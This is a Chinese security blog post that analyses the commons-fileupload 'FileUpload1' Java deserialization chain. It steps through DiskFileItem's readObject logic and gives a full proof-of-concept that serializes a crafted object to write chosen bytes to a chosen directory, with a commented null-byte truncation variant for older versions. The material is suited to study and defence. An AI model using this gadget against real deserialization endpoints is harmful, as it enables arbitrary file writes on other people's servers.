FileUpload1反序列化链
2022-10-16
4 min read
正文
FileUpload1这条链入口点是DiskFileItem,看看他的readObject方法
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
if (this.repository != null) {
if (!this.repository.isDirectory()) {
throw new IOException(String.format("The repository [%s] is not a directory", this.repository.getAbsolutePath()));
}
if (this.repository.getPath().contains("\u0000")) {
throw new IOException(String.format("The repository [%s] contains a null character", this.repository.getPath()));
}
}
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
}
output.close();
this.cachedContent = null;
}
首先判断repository是否为空并且是否包含\u0000
,这里的repository是文件保存在硬盘上的位置,在commons-fileupload的1.3.1版本中,修复了可以用\0截断写文件的问题,也就是第二个if语句,然后调用了getOutputStream获取了一个输出流output,在cachedContent不为空的时候通过输出流把cachedContent输出。来看看getOutputStream
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
}
return this.dfos;
}
这里的输出流实际上是DeferredFileOutputStream,继续跟进getTempFile
protected File getTempFile() {
if (this.tempFile == null) {
File tempDir = this.repository;
if (tempDir == null) {
tempDir = new File(System.getProperty("java.io.tmpdir"));
}
String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
this.tempFile = new File(tempDir, tempFileName);
}
return this.tempFile;
}
这就是获取一个输出的位置,如果tempFile是空就构造一个返回。
构造
pom.xml
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
poc如下, 代码是su18师傅的代码被我小改动了一点
package FileUpload;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class FileUpload1 {
public static void main(String[] args) throws Exception {
// 创建文件写入目录 File 对象,以及文件写入内容
String charset = "UTF-8";
byte[] bytes = "hahaha".getBytes(charset);
// 在 1.3 版本以下,可以使用 \0 截断
//File repository = new File("/Users/phoebe/Downloads/123.txt\0");
// 在 1.3.1 及以上,只能指定目录
File repository = new File("E:\\2");
// 创建 dfos 对象
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);
// 序列化时 writeObject 要求 dfos 不能为 null
Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
dfosFile.setAccessible(true);
dfosFile.set(diskFileItem, dfos);
// 反射将 cachedContent 写入
Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);
serialize(diskFileItem);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}